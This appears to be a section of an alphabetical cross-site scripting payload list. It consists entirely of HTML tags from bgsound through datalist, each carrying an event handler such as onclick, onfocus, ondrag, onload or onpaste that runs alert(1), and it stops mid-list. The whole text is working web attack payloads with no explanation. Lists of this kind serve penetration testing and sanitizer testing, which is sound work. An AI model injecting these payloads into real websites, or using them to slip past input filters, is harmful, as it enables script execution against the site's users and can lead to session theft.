<bgsound id=x tabindex=1 onactivate=alert(1)></bgsound>
<bgsound id=x tabindex=1 onbeforeactivate=alert(1)></bgsound>
<bgsound id=x tabindex=1 onbeforedeactivate=alert(1)></bgsound><input autofocus>
<bgsound id=x tabindex=1 ondeactivate=alert(1)></bgsound><input id=y autofocus>
<bgsound id=x tabindex=1 onfocus=alert(1)></bgsound>
<bgsound id=x tabindex=1 onfocusin=alert(1)></bgsound>
<bgsound onbeforecopy="alert(1)" contenteditable>test</bgsound>
<bgsound onbeforecut="alert(1)" contenteditable>test</bgsound>
<bgsound onbeforepaste="alert(1)" contenteditable>test</bgsound>
<bgsound onblur=alert(1) tabindex=1 id=x></bgsound><input autofocus>
<bgsound onclick="alert(1)">test</bgsound>
<bgsound oncontextmenu="alert(1)">test</bgsound>
<bgsound oncopy="alert(1)" contenteditable>test</bgsound>
<bgsound oncut="alert(1)" contenteditable>test</bgsound>
<bgsound ondblclick="alert(1)">test</bgsound>
<bgsound onfocusout=alert(1) tabindex=1 id=x></bgsound><input autofocus>
<bgsound onkeydown="alert(1)" contenteditable>test</bgsound>
<bgsound onkeypress="alert(1)" contenteditable>test</bgsound>
<bgsound onkeyup="alert(1)" contenteditable>test</bgsound>
<bgsound onmousedown="alert(1)">test</bgsound>
<bgsound onmouseenter="alert(1)">test</bgsound>
<bgsound onmouseleave="alert(1)">test</bgsound>
<bgsound onmousemove="alert(1)">test</bgsound>
<bgsound onmouseout="alert(1)">test</bgsound>
<bgsound onmouseover="alert(1)">test</bgsound>
<bgsound onmouseup="alert(1)">test</bgsound>
<bgsound onpaste="alert(1)" contenteditable>test</bgsound>
<big draggable="true" ondrag="alert(1)">test</big>
<big draggable="true" ondragend="alert(1)">test</big>
<big draggable="true" ondragenter="alert(1)">test</big>
<big draggable="true" ondragleave="alert(1)">test</big>
<big draggable="true" ondragstart="alert(1)">test</big>
<big id=x tabindex=1 onactivate=alert(1)></big>
<big id=x tabindex=1 onbeforeactivate=alert(1)></big>
<big id=x tabindex=1 onbeforedeactivate=alert(1)></big><input autofocus>
<big id=x tabindex=1 ondeactivate=alert(1)></big><input id=y autofocus>
<big id=x tabindex=1 onfocus=alert(1)></big>
<big id=x tabindex=1 onfocusin=alert(1)></big>
<big onbeforecopy="alert(1)" contenteditable>test</big>
<big onbeforecut="alert(1)" contenteditable>test</big>
<big onbeforepaste="alert(1)" contenteditable>test</big>
<big onblur=alert(1) tabindex=1 id=x></big><input autofocus>
<big onclick="alert(1)">test</big>
<big oncontextmenu="alert(1)">test</big>
<big oncopy="alert(1)" contenteditable>test</big>
<big oncut="alert(1)" contenteditable>test</big>
<big ondblclick="alert(1)">test</big>
<big onfocusout=alert(1) tabindex=1 id=x></big><input autofocus>
<big onkeydown="alert(1)" contenteditable>test</big>
<big onkeypress="alert(1)" contenteditable>test</big>
<big onkeyup="alert(1)" contenteditable>test</big>
<big onmousedown="alert(1)">test</big>
<big onmouseenter="alert(1)">test</big>
<big onmouseleave="alert(1)">test</big>
<big onmousemove="alert(1)">test</big>
<big onmouseout="alert(1)">test</big>
<big onmouseover="alert(1)">test</big>
<big onmouseup="alert(1)">test</big>
<big onpaste="alert(1)" contenteditable>test</big>
<blink draggable="true" ondrag="alert(1)">test</blink>
<blink draggable="true" ondragend="alert(1)">test</blink>
<blink draggable="true" ondragenter="alert(1)">test</blink>
<blink draggable="true" ondragleave="alert(1)">test</blink>
<blink draggable="true" ondragstart="alert(1)">test</blink>
<blink id=x tabindex=1 onactivate=alert(1)></blink>
<blink id=x tabindex=1 onbeforeactivate=alert(1)></blink>
<blink id=x tabindex=1 onbeforedeactivate=alert(1)></blink><input autofocus>
<blink id=x tabindex=1 ondeactivate=alert(1)></blink><input id=y autofocus>
<blink id=x tabindex=1 onfocus=alert(1)></blink>
<blink id=x tabindex=1 onfocusin=alert(1)></blink>
<blink onbeforecopy="alert(1)" contenteditable>test</blink>
<blink onbeforecut="alert(1)" contenteditable>test</blink>
<blink onbeforepaste="alert(1)" contenteditable>test</blink>
<blink onblur=alert(1) tabindex=1 id=x></blink><input autofocus>
<blink onclick="alert(1)">test</blink>
<blink oncontextmenu="alert(1)">test</blink>
<blink oncopy="alert(1)" contenteditable>test</blink>
<blink oncut="alert(1)" contenteditable>test</blink>
<blink ondblclick="alert(1)">test</blink>
<blink onfocusout=alert(1) tabindex=1 id=x></blink><input autofocus>
<blink onkeydown="alert(1)" contenteditable>test</blink>
<blink onkeypress="alert(1)" contenteditable>test</blink>
<blink onkeyup="alert(1)" contenteditable>test</blink>
<blink onmousedown="alert(1)">test</blink>
<blink onmouseenter="alert(1)">test</blink>
<blink onmouseleave="alert(1)">test</blink>
<blink onmousemove="alert(1)">test</blink>
<blink onmouseout="alert(1)">test</blink>
<blink onmouseover="alert(1)">test</blink>
<blink onmouseup="alert(1)">test</blink>
<blink onpaste="alert(1)" contenteditable>test</blink>
<blockquote draggable="true" ondrag="alert(1)">test</blockquote>
<blockquote draggable="true" ondragend="alert(1)">test</blockquote>
<blockquote draggable="true" ondragenter="alert(1)">test</blockquote>
<blockquote draggable="true" ondragleave="alert(1)">test</blockquote>
<blockquote draggable="true" ondragstart="alert(1)">test</blockquote>
<blockquote id=x tabindex=1 onactivate=alert(1)></blockquote>
<blockquote id=x tabindex=1 onbeforeactivate=alert(1)></blockquote>
<blockquote id=x tabindex=1 onbeforedeactivate=alert(1)></blockquote><input autofocus>
<blockquote id=x tabindex=1 ondeactivate=alert(1)></blockquote><input id=y autofocus>
<blockquote id=x tabindex=1 onfocus=alert(1)></blockquote>
<blockquote id=x tabindex=1 onfocusin=alert(1)></blockquote>
<blockquote onbeforecopy="alert(1)" contenteditable>test</blockquote>
<blockquote onbeforecut="alert(1)" contenteditable>test</blockquote>
<blockquote onbeforepaste="alert(1)" contenteditable>test</blockquote>
<blockquote onblur=alert(1) tabindex=1 id=x></blockquote><input autofocus>
<blockquote onclick="alert(1)">test</blockquote>
<blockquote oncontextmenu="alert(1)">test</blockquote>
<blockquote oncopy="alert(1)" contenteditable>test</blockquote>
<blockquote oncut="alert(1)" contenteditable>test</blockquote>
<blockquote ondblclick="alert(1)">test</blockquote>
<blockquote onfocusout=alert(1) tabindex=1 id=x></blockquote><input autofocus>
<blockquote onkeydown="alert(1)" contenteditable>test</blockquote>
<blockquote onkeypress="alert(1)" contenteditable>test</blockquote>
<blockquote onkeyup="alert(1)" contenteditable>test</blockquote>
<blockquote onmousedown="alert(1)">test</blockquote>
<blockquote onmouseenter="alert(1)">test</blockquote>
<blockquote onmouseleave="alert(1)">test</blockquote>
<blockquote onmousemove="alert(1)">test</blockquote>
<blockquote onmouseout="alert(1)">test</blockquote>
<blockquote onmouseover="alert(1)">test</blockquote>
<blockquote onmouseup="alert(1)">test</blockquote>
<blockquote onpaste="alert(1)" contenteditable>test</blockquote>
<body draggable="true" ondrag="alert(1)">test</body>
<body draggable="true" ondragend="alert(1)">test</body>
<body draggable="true" ondragenter="alert(1)">test</body>
<body draggable="true" ondragleave="alert(1)">test</body>
<body draggable="true" ondragstart="alert(1)">test</body>
<body id=x tabindex=1 onactivate=alert(1)></body>
<body id=x tabindex=1 onbeforeactivate=alert(1)></body>
<body id=x tabindex=1 onbeforedeactivate=alert(1)></body><input autofocus>
<body id=x tabindex=1 ondeactivate=alert(1)></body><input id=y autofocus>
<body id=x tabindex=1 onfocus=alert(1)></body>
<body id=x tabindex=1 onfocusin=alert(1)></body>
<body onafterprint=alert(1)>
<body onbeforecopy="alert(1)" contenteditable>test</body>
<body onbeforecut="alert(1)" contenteditable>test</body>
<body onbeforepaste="alert(1)" contenteditable>test</body>
<body onbeforeprint=alert(1)>
<body onbeforeunload="location='javascript:alert(1)'">
<body onblur=alert(1) id=x><iframe id=x>
<body onclick="alert(1)">test</body>
<body oncontextmenu="alert(1)">test</body>
<body oncopy="alert(1)" contenteditable>test</body>
<body oncut="alert(1)" contenteditable>test</body>
<body ondblclick="alert(1)">test</body>
<body onerror=alert(1) onload=/>
<body onfocusout=alert(1) id=x><iframe id=x>
<body onhashchange="alert(1)">
<body onkeydown="alert(1)" contenteditable>test</body>
<body onkeypress="alert(1)" contenteditable>test</body>
<body onkeyup="alert(1)" contenteditable>test</body>
<body onload=alert(1)>
<body onmessage=alert(1)>
<body onmousedown="alert(1)">test</body>
<body onmouseenter="alert(1)">test</body>
<body onmouseleave="alert(1)">test</body>
<body onmousemove="alert(1)">test</body>
<body onmouseout="alert(1)">test</body>
<body onmouseover="alert(1)">test</body>
<body onmouseup="alert(1)">test</body>
<body onpageshow=alert(1)>
<body onpaste="alert(1)" contenteditable>test</body>
<body onpopstate=alert(1)>
<body onresize="alert(1)">
<body onscroll=alert(1)><div style=height:1000px></div><div id=x></div>
<body onunhandledrejection=alert(1)><script>fetch('//xyz')</script>
<body onwheel=alert(1)>
<br draggable="true" ondrag="alert(1)">test</br>
<br draggable="true" ondragend="alert(1)">test</br>
<br draggable="true" ondragenter="alert(1)">test</br>
<br draggable="true" ondragleave="alert(1)">test</br>
<br draggable="true" ondragstart="alert(1)">test</br>
<br id=x tabindex=1 onactivate=alert(1)></br>
<br id=x tabindex=1 onbeforeactivate=alert(1)></br>
<br id=x tabindex=1 onbeforedeactivate=alert(1)></br><input autofocus>
<br id=x tabindex=1 ondeactivate=alert(1)></br><input id=y autofocus>
<br id=x tabindex=1 onfocus=alert(1)></br>
<br id=x tabindex=1 onfocusin=alert(1)></br>
<br onbeforecopy="alert(1)" contenteditable>test</br>
<br onbeforecut="alert(1)" contenteditable>test</br>
<br onbeforepaste="alert(1)" contenteditable>test</br>
<br onblur=alert(1) tabindex=1 id=x></br><input autofocus>
<br onclick="alert(1)">test</br>
<br oncontextmenu="alert(1)">test</br>
<br oncopy="alert(1)" contenteditable>test</br>
<br oncut="alert(1)" contenteditable>test</br>
<br ondblclick="alert(1)">test</br>
<br onfocusout=alert(1) tabindex=1 id=x></br><input autofocus>
<br onkeydown="alert(1)" contenteditable>test</br>
<br onkeypress="alert(1)" contenteditable>test</br>
<br onkeyup="alert(1)" contenteditable>test</br>
<br onmousedown="alert(1)">test</br>
<br onmouseenter="alert(1)">test</br>
<br onmouseleave="alert(1)">test</br>
<br onmousemove="alert(1)">test</br>
<br onmouseout="alert(1)">test</br>
<br onmouseover="alert(1)">test</br>
<br onmouseup="alert(1)">test</br>
<br onpaste="alert(1)" contenteditable>test</br>
<button autofocus onfocus=alert(1)>test</button>
<button autofocus onfocusin=alert(1)>test</button>
<button draggable="true" ondrag="alert(1)">test</button>
<button draggable="true" ondragend="alert(1)">test</button>
<button draggable="true" ondragenter="alert(1)">test</button>
<button draggable="true" ondragleave="alert(1)">test</button>
<button draggable="true" ondragstart="alert(1)">test</button>
<button id=x tabindex=1 onactivate=alert(1)></button>
<button id=x tabindex=1 onbeforeactivate=alert(1)></button>
<button id=x tabindex=1 onbeforedeactivate=alert(1)></button><input autofocus>
<button id=x tabindex=1 ondeactivate=alert(1)></button><input id=y autofocus>
<button onbeforecopy="alert(1)" contenteditable>test</button>
<button onbeforecut="alert(1)" contenteditable>test</button>
<button onbeforepaste="alert(1)" contenteditable>test</button>
<button onblur=alert(1) id=x></button><input autofocus>
<button onclick="alert(1)">test</button>
<button oncontextmenu="alert(1)">test</button>
<button oncopy="alert(1)" contenteditable>test</button>
<button oncut="alert(1)" contenteditable>test</button>
<button ondblclick="alert(1)">test</button>
<button onfocusout=alert(1) id=x></button><input autofocus>
<button onkeydown="alert(1)" contenteditable>test</button>
<button onkeypress="alert(1)" contenteditable>test</button>
<button onkeyup="alert(1)" contenteditable>test</button>
<button onmousedown="alert(1)">test</button>
<button onmouseenter="alert(1)">test</button>
<button onmouseleave="alert(1)">test</button>
<button onmousemove="alert(1)">test</button>
<button onmouseout="alert(1)">test</button>
<button onmouseover="alert(1)">test</button>
<button onmouseup="alert(1)">test</button>
<button onpaste="alert(1)" contenteditable>test</button>
<canvas draggable="true" ondrag="alert(1)">test</canvas>
<canvas draggable="true" ondragend="alert(1)">test</canvas>
<canvas draggable="true" ondragenter="alert(1)">test</canvas>
<canvas draggable="true" ondragleave="alert(1)">test</canvas>
<canvas draggable="true" ondragstart="alert(1)">test</canvas>
<canvas id=x tabindex=1 onactivate=alert(1)></canvas>
<canvas id=x tabindex=1 onbeforeactivate=alert(1)></canvas>
<canvas id=x tabindex=1 onbeforedeactivate=alert(1)></canvas><input autofocus>
<canvas id=x tabindex=1 ondeactivate=alert(1)></canvas><input id=y autofocus>
<canvas id=x tabindex=1 onfocus=alert(1)></canvas>
<canvas id=x tabindex=1 onfocusin=alert(1)></canvas>
<canvas onbeforecopy="alert(1)" contenteditable>test</canvas>
<canvas onbeforecut="alert(1)" contenteditable>test</canvas>
<canvas onbeforepaste="alert(1)" contenteditable>test</canvas>
<canvas onblur=alert(1) tabindex=1 id=x></canvas><input autofocus>
<canvas onclick="alert(1)">test</canvas>
<canvas oncontextmenu="alert(1)">test</canvas>
<canvas oncopy="alert(1)" contenteditable>test</canvas>
<canvas oncut="alert(1)" contenteditable>test</canvas>
<canvas ondblclick="alert(1)">test</canvas>
<canvas onfocusout=alert(1) tabindex=1 id=x></canvas><input autofocus>
<canvas onkeydown="alert(1)" contenteditable>test</canvas>
<canvas onkeypress="alert(1)" contenteditable>test</canvas>
<canvas onkeyup="alert(1)" contenteditable>test</canvas>
<canvas onmousedown="alert(1)">test</canvas>
<canvas onmouseenter="alert(1)">test</canvas>
<canvas onmouseleave="alert(1)">test</canvas>
<canvas onmousemove="alert(1)">test</canvas>
<canvas onmouseout="alert(1)">test</canvas>
<canvas onmouseover="alert(1)">test</canvas>
<canvas onmouseup="alert(1)">test</canvas>
<canvas onpaste="alert(1)" contenteditable>test</canvas>
<caption draggable="true" ondrag="alert(1)">test</caption>
<caption draggable="true" ondragend="alert(1)">test</caption>
<caption draggable="true" ondragenter="alert(1)">test</caption>
<caption draggable="true" ondragleave="alert(1)">test</caption>
<caption draggable="true" ondragstart="alert(1)">test</caption>
<caption id=x tabindex=1 onactivate=alert(1)></caption>
<caption id=x tabindex=1 onbeforeactivate=alert(1)></caption>
<caption id=x tabindex=1 onbeforedeactivate=alert(1)></caption><input autofocus>
<caption id=x tabindex=1 ondeactivate=alert(1)></caption><input id=y autofocus>
<caption id=x tabindex=1 onfocus=alert(1)></caption>
<caption id=x tabindex=1 onfocusin=alert(1)></caption>
<caption onbeforecopy="alert(1)" contenteditable>test</caption>
<caption onbeforecut="alert(1)" contenteditable>test</caption>
<caption onbeforepaste="alert(1)" contenteditable>test</caption>
<caption onblur=alert(1) tabindex=1 id=x></caption><input autofocus>
<caption onclick="alert(1)">test</caption>
<caption oncontextmenu="alert(1)">test</caption>
<caption oncopy="alert(1)" contenteditable>test</caption>
<caption oncut="alert(1)" contenteditable>test</caption>
<caption ondblclick="alert(1)">test</caption>
<caption onfocusout=alert(1) tabindex=1 id=x></caption><input autofocus>
<caption onkeydown="alert(1)" contenteditable>test</caption>
<caption onkeypress="alert(1)" contenteditable>test</caption>
<caption onkeyup="alert(1)" contenteditable>test</caption>
<caption onmousedown="alert(1)">test</caption>
<caption onmouseenter="alert(1)">test</caption>
<caption onmouseleave="alert(1)">test</caption>
<caption onmousemove="alert(1)">test</caption>
<caption onmouseout="alert(1)">test</caption>
<caption onmouseover="alert(1)">test</caption>
<caption onmouseup="alert(1)">test</caption>
<caption onpaste="alert(1)" contenteditable>test</caption>
<center draggable="true" ondrag="alert(1)">test</center>
<center draggable="true" ondragend="alert(1)">test</center>
<center draggable="true" ondragenter="alert(1)">test</center>
<center draggable="true" ondragleave="alert(1)">test</center>
<center draggable="true" ondragstart="alert(1)">test</center>
<center id=x tabindex=1 onactivate=alert(1)></center>
<center id=x tabindex=1 onbeforeactivate=alert(1)></center>
<center id=x tabindex=1 onbeforedeactivate=alert(1)></center><input autofocus>
<center id=x tabindex=1 ondeactivate=alert(1)></center><input id=y autofocus>
<center id=x tabindex=1 onfocus=alert(1)></center>
<center id=x tabindex=1 onfocusin=alert(1)></center>
<center onbeforecopy="alert(1)" contenteditable>test</center>
<center onbeforecut="alert(1)" contenteditable>test</center>
<center onbeforepaste="alert(1)" contenteditable>test</center>
<center onblur=alert(1) tabindex=1 id=x></center><input autofocus>
<center onclick="alert(1)">test</center>
<center oncontextmenu="alert(1)">test</center>
<center oncopy="alert(1)" contenteditable>test</center>
<center oncut="alert(1)" contenteditable>test</center>
<center ondblclick="alert(1)">test</center>
<center onfocusout=alert(1) tabindex=1 id=x></center><input autofocus>
<center onkeydown="alert(1)" contenteditable>test</center>
<center onkeypress="alert(1)" contenteditable>test</center>
<center onkeyup="alert(1)" contenteditable>test</center>
<center onmousedown="alert(1)">test</center>
<center onmouseenter="alert(1)">test</center>
<center onmouseleave="alert(1)">test</center>
<center onmousemove="alert(1)">test</center>
<center onmouseout="alert(1)">test</center>
<center onmouseover="alert(1)">test</center>
<center onmouseup="alert(1)">test</center>
<center onpaste="alert(1)" contenteditable>test</center>
<cite draggable="true" ondrag="alert(1)">test</cite>
<cite draggable="true" ondragend="alert(1)">test</cite>
<cite draggable="true" ondragenter="alert(1)">test</cite>
<cite draggable="true" ondragleave="alert(1)">test</cite>
<cite draggable="true" ondragstart="alert(1)">test</cite>
<cite id=x tabindex=1 onactivate=alert(1)></cite>
<cite id=x tabindex=1 onbeforeactivate=alert(1)></cite>
<cite id=x tabindex=1 onbeforedeactivate=alert(1)></cite><input autofocus>
<cite id=x tabindex=1 ondeactivate=alert(1)></cite><input id=y autofocus>
<cite id=x tabindex=1 onfocus=alert(1)></cite>
<cite id=x tabindex=1 onfocusin=alert(1)></cite>
<cite onbeforecopy="alert(1)" contenteditable>test</cite>
<cite onbeforecut="alert(1)" contenteditable>test</cite>
<cite onbeforepaste="alert(1)" contenteditable>test</cite>
<cite onblur=alert(1) tabindex=1 id=x></cite><input autofocus>
<cite onclick="alert(1)">test</cite>
<cite oncontextmenu="alert(1)">test</cite>
<cite oncopy="alert(1)" contenteditable>test</cite>
<cite oncut="alert(1)" contenteditable>test</cite>
<cite ondblclick="alert(1)">test</cite>
<cite onfocusout=alert(1) tabindex=1 id=x></cite><input autofocus>
<cite onkeydown="alert(1)" contenteditable>test</cite>
<cite onkeypress="alert(1)" contenteditable>test</cite>
<cite onkeyup="alert(1)" contenteditable>test</cite>
<cite onmousedown="alert(1)">test</cite>
<cite onmouseenter="alert(1)">test</cite>
<cite onmouseleave="alert(1)">test</cite>
<cite onmousemove="alert(1)">test</cite>
<cite onmouseout="alert(1)">test</cite>
<cite onmouseover="alert(1)">test</cite>
<cite onmouseup="alert(1)">test</cite>
<cite onpaste="alert(1)" contenteditable>test</cite>
<code draggable="true" ondrag="alert(1)">test</code>
<code draggable="true" ondragend="alert(1)">test</code>
<code draggable="true" ondragenter="alert(1)">test</code>
<code draggable="true" ondragleave="alert(1)">test</code>
<code draggable="true" ondragstart="alert(1)">test</code>
<code id=x tabindex=1 onactivate=alert(1)></code>
<code id=x tabindex=1 onbeforeactivate=alert(1)></code>
<code id=x tabindex=1 onbeforedeactivate=alert(1)></code><input autofocus>
<code id=x tabindex=1 ondeactivate=alert(1)></code><input id=y autofocus>
<code id=x tabindex=1 onfocus=alert(1)></code>
<code id=x tabindex=1 onfocusin=alert(1)></code>
<code onbeforecopy="alert(1)" contenteditable>test</code>
<code onbeforecut="alert(1)" contenteditable>test</code>
<code onbeforepaste="alert(1)" contenteditable>test</code>
<code onblur=alert(1) tabindex=1 id=x></code><input autofocus>
<code onclick="alert(1)">test</code>
<code oncontextmenu="alert(1)">test</code>
<code oncopy="alert(1)" contenteditable>test</code>
<code oncut="alert(1)" contenteditable>test</code>
<code ondblclick="alert(1)">test</code>
<code onfocusout=alert(1) tabindex=1 id=x></code><input autofocus>
<code onkeydown="alert(1)" contenteditable>test</code>
<code onkeypress="alert(1)" contenteditable>test</code>
<code onkeyup="alert(1)" contenteditable>test</code>
<code onmousedown="alert(1)">test</code>
<code onmouseenter="alert(1)">test</code>
<code onmouseleave="alert(1)">test</code>
<code onmousemove="alert(1)">test</code>
<code onmouseout="alert(1)">test</code>
<code onmouseover="alert(1)">test</code>
<code onmouseup="alert(1)">test</code>
<code onpaste="alert(1)" contenteditable>test</code>
<col draggable="true" ondrag="alert(1)">test</col>
<col draggable="true" ondragend="alert(1)">test</col>
<col draggable="true" ondragenter="alert(1)">test</col>
<col draggable="true" ondragleave="alert(1)">test</col>
<col draggable="true" ondragstart="alert(1)">test</col>
<col id=x tabindex=1 onactivate=alert(1)></col>
<col id=x tabindex=1 onbeforeactivate=alert(1)></col>
<col id=x tabindex=1 onbeforedeactivate=alert(1)></col><input autofocus>
<col id=x tabindex=1 ondeactivate=alert(1)></col><input id=y autofocus>
<col id=x tabindex=1 onfocus=alert(1)></col>
<col id=x tabindex=1 onfocusin=alert(1)></col>
<col onbeforecopy="alert(1)" contenteditable>test</col>
<col onbeforecut="alert(1)" contenteditable>test</col>
<col onbeforepaste="alert(1)" contenteditable>test</col>
<col onblur=alert(1) tabindex=1 id=x></col><input autofocus>
<col onclick="alert(1)">test</col>
<col oncontextmenu="alert(1)">test</col>
<col oncopy="alert(1)" contenteditable>test</col>
<col oncut="alert(1)" contenteditable>test</col>
<col ondblclick="alert(1)">test</col>
<col onfocusout=alert(1) tabindex=1 id=x></col><input autofocus>
<col onkeydown="alert(1)" contenteditable>test</col>
<col onkeypress="alert(1)" contenteditable>test</col>
<col onkeyup="alert(1)" contenteditable>test</col>
<col onmousedown="alert(1)">test</col>
<col onmouseenter="alert(1)">test</col>
<col onmouseleave="alert(1)">test</col>
<col onmousemove="alert(1)">test</col>
<col onmouseout="alert(1)">test</col>
<col onmouseover="alert(1)">test</col>
<col onmouseup="alert(1)">test</col>
<col onpaste="alert(1)" contenteditable>test</col>
<colgroup draggable="true" ondrag="alert(1)">test</colgroup>
<colgroup draggable="true" ondragend="alert(1)">test</colgroup>
<colgroup draggable="true" ondragenter="alert(1)">test</colgroup>
<colgroup draggable="true" ondragleave="alert(1)">test</colgroup>
<colgroup draggable="true" ondragstart="alert(1)">test</colgroup>
<colgroup id=x tabindex=1 onactivate=alert(1)></colgroup>
<colgroup id=x tabindex=1 onbeforeactivate=alert(1)></colgroup>
<colgroup id=x tabindex=1 onbeforedeactivate=alert(1)></colgroup><input autofocus>
<colgroup id=x tabindex=1 ondeactivate=alert(1)></colgroup><input id=y autofocus>
<colgroup id=x tabindex=1 onfocus=alert(1)></colgroup>
<colgroup id=x tabindex=1 onfocusin=alert(1)></colgroup>
<colgroup onbeforecopy="alert(1)" contenteditable>test</colgroup>
<colgroup onbeforecut="alert(1)" contenteditable>test</colgroup>
<colgroup onbeforepaste="alert(1)" contenteditable>test</colgroup>
<colgroup onblur=alert(1) tabindex=1 id=x></colgroup><input autofocus>
<colgroup onclick="alert(1)">test</colgroup>
<colgroup oncontextmenu="alert(1)">test</colgroup>
<colgroup oncopy="alert(1)" contenteditable>test</colgroup>
<colgroup oncut="alert(1)" contenteditable>test</colgroup>
<colgroup ondblclick="alert(1)">test</colgroup>
<colgroup onfocusout=alert(1) tabindex=1 id=x></colgroup><input autofocus>
<colgroup onkeydown="alert(1)" contenteditable>test</colgroup>
<colgroup onkeypress="alert(1)" contenteditable>test</colgroup>
<colgroup onkeyup="alert(1)" contenteditable>test</colgroup>
<colgroup onmousedown="alert(1)">test</colgroup>
<colgroup onmouseenter="alert(1)">test</colgroup>
<colgroup onmouseleave="alert(1)">test</colgroup>
<colgroup onmousemove="alert(1)">test</colgroup>
<colgroup onmouseout="alert(1)">test</colgroup>
<colgroup onmouseover="alert(1)">test</colgroup>
<colgroup onmouseup="alert(1)">test</colgroup>
<colgroup onpaste="alert(1)" contenteditable>test</colgroup>
<command draggable="true" ondrag="alert(1)">test</command>
<command draggable="true" ondragend="alert(1)">test</command>
<command draggable="true" ondragenter="alert(1)">test</command>
<command draggable="true" ondragleave="alert(1)">test</command>
<command draggable="true" ondragstart="alert(1)">test</command>
<command id=x tabindex=1 onactivate=alert(1)></command>
<command id=x tabindex=1 onbeforeactivate=alert(1)></command>
<command id=x tabindex=1 onbeforedeactivate=alert(1)></command><input autofocus>
<command id=x tabindex=1 ondeactivate=alert(1)></command><input id=y autofocus>
<command id=x tabindex=1 onfocus=alert(1)></command>
<command id=x tabindex=1 onfocusin=alert(1)></command>
<command onbeforecopy="alert(1)" contenteditable>test</command>
<command onbeforecut="alert(1)" contenteditable>test</command>
<command onbeforepaste="alert(1)" contenteditable>test</command>
<command onblur=alert(1) tabindex=1 id=x></command><input autofocus>
<command onclick="alert(1)">test</command>
<command oncontextmenu="alert(1)">test</command>
<command oncopy="alert(1)" contenteditable>test</command>
<command oncut="alert(1)" contenteditable>test</command>
<command ondblclick="alert(1)">test</command>
<command onfocusout=alert(1) tabindex=1 id=x></command><input autofocus>
<command onkeydown="alert(1)" contenteditable>test</command>
<command onkeypress="alert(1)" contenteditable>test</command>
<command onkeyup="alert(1)" contenteditable>test</command>
<command onmousedown="alert(1)">test</command>
<command onmouseenter="alert(1)">test</command>
<command onmouseleave="alert(1)">test</command>
<command onmousemove="alert(1)">test</command>
<command onmouseout="alert(1)">test</command>
<command onmouseover="alert(1)">test</command>
<command onmouseup="alert(1)">test</command>
<command onpaste="alert(1)" contenteditable>test</command>
<content draggable="true" ondrag="alert(1)">test</content>
<content draggable="true" ondragend="alert(1)">test</content>
<content draggable="true" ondragenter="alert(1)">test</content>
<content draggable="true" ondragleave="alert(1)">test</content>
<content draggable="true" ondragstart="alert(1)">test</content>
<content id=x tabindex=1 onactivate=alert(1)></content>
<content id=x tabindex=1 onbeforeactivate=alert(1)></content>
<content id=x tabindex=1 onbeforedeactivate=alert(1)></content><input autofocus>
<content id=x tabindex=1 ondeactivate=alert(1)></content><input id=y autofocus>
<content id=x tabindex=1 onfocus=alert(1)></content>
<content id=x tabindex=1 onfocusin=alert(1)></content>
<content onbeforecopy="alert(1)" contenteditable>test</content>
<content onbeforecut="alert(1)" contenteditable>test</content>
<content onbeforepaste="alert(1)" contenteditable>test</content>
<content onblur=alert(1) tabindex=1 id=x></content><input autofocus>
<content onclick="alert(1)">test</content>
<content oncontextmenu="alert(1)">test</content>
<content oncopy="alert(1)" contenteditable>test</content>
<content oncut="alert(1)" contenteditable>test</content>
<content ondblclick="alert(1)">test</content>
<content onfocusout=alert(1) tabindex=1 id=x></content><input autofocus>
<content onkeydown="alert(1)" contenteditable>test</content>
<content onkeypress="alert(1)" contenteditable>test</content>
<content onkeyup="alert(1)" contenteditable>test</content>
<content onmousedown="alert(1)">test</content>
<content onmouseenter="alert(1)">test</content>
<content onmouseleave="alert(1)">test</content>
<content onmousemove="alert(1)">test</content>
<content onmouseout="alert(1)">test</content>
<content onmouseover="alert(1)">test</content>
<content onmouseup="alert(1)">test</content>
<content onpaste="alert(1)" contenteditable>test</content>
<data draggable="true" ondrag="alert(1)">test</data>
<data draggable="true" ondragend="alert(1)">test</data>
<data draggable="true" ondragenter="alert(1)">test</data>
<data draggable="true" ondragleave="alert(1)">test</data>
<data draggable="true" ondragstart="alert(1)">test</data>
<data id=x tabindex=1 onactivate=alert(1)></data>
<data id=x tabindex=1 onbeforeactivate=alert(1)></data>
<data id=x tabindex=1 onbeforedeactivate=alert(1)></data><input autofocus>
<data id=x tabindex=1 ondeactivate=alert(1)></data><input id=y autofocus>
<data id=x tabindex=1 onfocus=alert(1)></data>
<data id=x tabindex=1 onfocusin=alert(1)></data>
<data onbeforecopy="alert(1)" contenteditable>test</data>
<data onbeforecut="alert(1)" contenteditable>test</data>
<data onbeforepaste="alert(1)" contenteditable>test</data>
<data onblur=alert(1) tabindex=1 id=x></data><input autofocus>
<data onclick="alert(1)">test</data>
<data oncontextmenu="alert(1)">test</data>
<data oncopy="alert(1)" contenteditable>test</data>
<data oncut="alert(1)" contenteditable>test</data>
<data ondblclick="alert(1)">test</data>
<data onfocusout=alert(1) tabindex=1 id=x></data><input autofocus>
<data onkeydown="alert(1)" contenteditable>test</data>
<data onkeypress="alert(1)" contenteditable>test</data>
<data onkeyup="alert(1)" contenteditable>test</data>
<data onmousedown="alert(1)">test</data>
<data onmouseenter="alert(1)">test</data>
<data onmouseleave="alert(1)">test</data>
<data onmousemove="alert(1)">test</data>
<data onmouseout="alert(1)">test</data>
<data onmouseover="alert(1)">test</data>
<data onmouseup="alert(1)">test</data>
<data onpaste="alert(1)" contenteditable>test</data>
<datalist draggable="true" ondrag="alert(1)">test</datalist>
<datalist draggable="true" ondragend="alert(1)">test</datalist>
<datalist draggable="true" ondragenter="alert(1)">test</datalist>
<datalist draggable="true" ondragleave="alert(1)">test</datalist>
<datalist draggable="true" ondragstart="alert(1)">test</datalist>
<datalist id=x tabindex=1 onactivate=alert(1)></datalist>
<datalist id=x tabindex=1 onbeforeactivate=alert(1)></datalist>
<datalist id=x tabindex=1 onbeforedeactivate=alert(1)></datalist><input autofocus>
<datalist id=x tabindex=1 ondeactivate=alert(1)></datalist><input id=y autofocus>
<datalist id=x tabindex=1 onfocus=alert(1)></datalist>
<datalist id=x tabindex=1 onfocusin=alert(1)></datalist>
<datalist onbeforecopy="alert(1)" contenteditable>test</datalist>
<datalist onbeforecut="alert(1)" contenteditable>test</datalist>
<datalist onbeforepaste="alert(1)" contenteditable>test</datalist>
<datalist onblur=alert(1) tabindex=1 id=x></datalist><input autofocus>
<datalist onclick="alert(1)">test</datalist>
<datalist oncontextmenu="alert(1)">test</datalist>
<datalist oncopy="alert(1)" contenteditable>test</datalist>
<datalist oncut="alert(1)" contenteditable>test</datalist>
<datalist ondblclick="alert(1)">test</datalist>
<datalist onfocusout=alert(1) tabindex=1 id=x></datalist><input autofocus>
